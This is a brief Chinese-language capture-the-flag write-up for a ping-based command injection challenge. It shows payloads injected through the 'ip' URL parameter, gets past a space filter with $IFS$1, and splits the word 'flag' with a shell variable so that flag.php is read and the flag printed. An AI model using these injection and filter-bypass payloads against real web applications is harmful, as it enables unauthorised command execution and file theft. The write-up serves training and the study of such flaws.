进入靶机,发现有提示
提示我们用url进行ping ip的操作
/?ip=0.0.0.0 | ls
发现空格被过滤掉了
(这里是我写代码保持距离的习惯所以才会有此回显,如果没有这个习惯的话会正常回显查询结果,没有关系的,后面输出flag.php的时候也会有提示空格过滤)
去掉空格
?ip=0.0.0.0|ls
成功回显
先用${IFS}绕过空格过滤输出一下flag.php试试
?ip=0.0.0.0;cat${IFS}flag.php
发现{}被过滤掉了
再换成 $IFS$1试试
?ip=0.0.0.0;cat$IFS$1flag.php
发现flag也被过滤掉了
估计还有很多过滤掉的东西,先去看看index.php有无线索
确实挺多过滤的,但是基础命令没有被绕过,那就加入变量绕过过滤吧
?ip=0.0.0.0;a=g;cat$IFS$1fla$a.php
flag出现
flag{5dcb59b7-ec2c-49c1-8e1f-8eef062f05ca}